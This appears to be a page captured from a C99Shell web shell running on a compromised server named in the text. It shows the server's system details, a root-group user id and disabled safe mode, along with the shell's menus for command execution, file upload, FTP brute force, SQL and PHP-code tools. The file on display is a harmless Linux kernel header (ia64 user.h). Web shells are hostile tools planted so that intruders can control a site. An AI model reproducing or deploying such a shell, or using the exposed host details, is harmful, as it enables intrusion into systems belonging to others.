!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/src/linux-headers-5.15.0-151/arch/ia64/include/asm/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     user.h (2.25 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef _ASM_IA64_USER_H
#define _ASM_IA64_USER_H

/*
 * Core file format: The core file is written in such a way that gdb
 * can understand it and provide useful information to the user (under
 * linux we use the `trad-core' bfd).  The file contents are as
 * follows:
 *
 *  upage: 1 page consisting of a user struct that tells gdb
 *    what is present in the file.  Directly after this is a
 *    copy of the task_struct, which is currently not used by gdb,
 *    but it may come in handy at some point.  All of the registers
 *    are stored as part of the upage.  The upage should always be
 *    only one page long.
 *  data: The data segment follows next.  We use current->end_text to
 *    current->brk to pick up all of the user variables, plus any memory
 *    that may have been sbrk'ed.  No attempt is made to determine if a
 *    page is demand-zero or if a page is totally unused, we just cover
 *    the entire range.  All of the addresses are rounded in such a way
 *    that an integral number of pages is written.
 *  stack: We need the stack information in order to get a meaningful
 *    backtrace.  We need to write the data from usp to
 *    current->start_stack, so we round each of these in order to be able
 *    to write an integer number of pages.
 *
 * Modified 1998, 1999, 2001
 *    David Mosberger-Tang <davidm@hpl.hp.com>, Hewlett-Packard Co
 */

#include <linux/ptrace.h>
#include <linux/types.h>

#include <asm/page.h>

#define EF_SIZE        3072    /* XXX fix me */

struct user {
    unsigned long    regs[EF_SIZE/8+32];    /* integer and fp regs */
    size_t        u_tsize;        /* text size (pages) */
    size_t        u_dsize;        /* data size (pages) */
    size_t        u_ssize;        /* stack size (pages) */
    unsigned long    start_code;        /* text starting address */
    unsigned long    start_data;        /* data starting address */
    unsigned long    start_stack;        /* stack starting address */
    long int    signal;            /* signal causing core dump */
    unsigned long    u_ar0;            /* help gdb find registers */
    unsigned long    magic;            /* identifies a core file */
    char        u_comm[32];        /* user command name */
};

#define NBPG            PAGE_SIZE
#define UPAGES            1
#define HOST_TEXT_START_ADDR    (u.start_code)
#define HOST_DATA_START_ADDR    (u.start_data)
#define HOST_STACK_END_ADDR    (u.start_stack + u.u_ssize * NBPG)

#endif /* _ASM_IA64_USER_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0251 ]--